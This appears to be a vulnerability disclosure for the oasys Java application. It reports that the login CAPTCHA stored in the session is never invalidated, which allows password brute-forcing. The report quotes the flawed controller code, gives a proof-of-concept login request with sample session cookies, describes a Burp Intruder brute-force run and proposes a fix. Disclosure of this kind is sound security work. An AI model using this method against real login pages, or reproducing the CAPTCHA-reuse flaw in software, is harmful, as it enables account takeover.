oasys
oasys copied to clipboard
Verification Code Reuse--misstt123\oasys
Verification Code Reuse--misstt123\oasys
[Logic Vulnerability]
This vulnerability can lead to burst attacks, which poses a threat to user information
Vulnerable File
cn.gson.oasys.controller.login.LoginsControler;
@RequestMapping(value="logins",method = RequestMethod.POST)
public String loginCheck(HttpSession session,HttpServletRequest req,Model model) throws UnknownHostException{
String userName=req.getParameter("userName").trim();
String password=req.getParameter("password");
String ca=req.getParameter("code").toLowerCase();
String sesionCode = (String) req.getSession().getAttribute(CAPTCHA_KEY);
model.addAttribute("userName", userName);
if(!ca.equals(sesionCode.toLowerCase())){
System.out.println("验证码输入错误!");
model.addAttribute("errormess", "验证码输入错误!");
req.setAttribute("errormess","验证码输入错误!");
return "login/login";
}
/*
* 将用户名分开查找;用户名或者电话号码;
* */
User user=uDao.findOneUser(userName, password);
if(Objects.isNull(user)){
System.out.println(user);
System.out.println("账号或密码错误!");
model.addAttribute("errormess", "账号或密码错误!");
return "login/login";
}
System.out.println("是否被锁:"+user.getIsLock());
if(user.getIsLock()==1){
System.out.println("账号已被冻结!");
model.addAttribute("errormess", "账号已被冻结!");
return "login/login";
}
Object sessionId=session.getAttribute("userId");
System.out.println(user);
if(sessionId==user.getUserId()){
System.out.println("当前用户已经登录了;不能重复登录");
model.addAttribute("hasmess", "当前用户已经登录了;不能重复登录");
session.setAttribute("thisuser", user);
return "login/login";
}else{
session.setAttribute("userId", user.getUserId());
Browser browser = UserAgent.parseUserAgentString(req.getHeader("User-Agent")).getBrowser();
Version version = browser.getVersion(req.getHeader("User-Agent"));
String info = browser.getName() + "/" + version.getVersion();
String ip=InetAddress.getLocalHost().getHostAddress();
/*新增登录记录*/
ulService.save(new LoginRecord(ip, new Date(), info, user));
}
return "redirect:/index";
@RequestMapping("captcha")
public void captcha(HttpServletRequest request, HttpServletResponse response,HttpSession session) throws IOException{
response.setHeader("Pragma", "No-cache");
response.setHeader("Cache-Control", "no-cache");
response.setDateHeader("Expires", 0);
response.setContentType("image/jpeg");
// 生成随机字串
String verifyCode = VerifyCodeUtils.generateVerifyCode(4);
// 生成图片
int w = 135, h = 40;
VerifyCodeUtils.outputImage(w, h, response.getOutputStream(), verifyCode);
// 将验证码存储在session以便登录时校验
session.setAttribute(CAPTCHA_KEY, verifyCode.toLowerCase());
}
This function is responsible for generating verification codes and their corresponding images, and storing the verification codes in the session
Poc
Payload
POST /logins HTTP/1.1
Host: 127.0.0.1:8081
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:130.0) Gecko/20100101 Firefox/130.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/png,image/svg+xml,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate, br
Content-Type: application/x-www-form-urlencoded
Content-Length: 45
Origin: http://127.0.0.1:8081
Connection: keep-alive
Referer: http://127.0.0.1:8081/logins
Cookie: remember-me=YWRtaW46MTcyNzU4Mzc0NjI5NDo4YzUzZTIwZWJhYTU4NTM0NzhhZjgzM2U3OTI0ODM3Zg; JSESSIONID=A280B9999F71B6D210E849B23B45DDE4
Upgrade-Insecure-Requests: 1
Sec-Fetch-Dest: document
Sec-Fetch-Mode: navigate
Sec-Fetch-Site: same-origin
Sec-Fetch-User: ?1
Priority: u=0, i
userName=admin&password=AnyPassword&code=2RE8
Request Process:
Client Server Behavior
| ----"/logins"GET---------> |
| |
| <-----"login.html"-------- |
| |
| ------"/capture"---------> | The server generates a verification code
| | and stores it in the session
| |
| <-----"capture.png"------- |
| |
| ----"/logins"POST---------> | The client sends payloads repeatedly, causing a burst attack,
| | because the capture stored in session is never changed.
| ----"/logins"POST---------> |
| .... |
Attack Simulation
Correct password:123456
Burp->intruder:
Result
Success!
Possible Solutions
- set a session attribute:
isCodeUsed - After generating the capture and passing it into the session, set
isCodeUsedasfalse - After each verification, whether the verification code is correct or not, set
isCodeUsedas true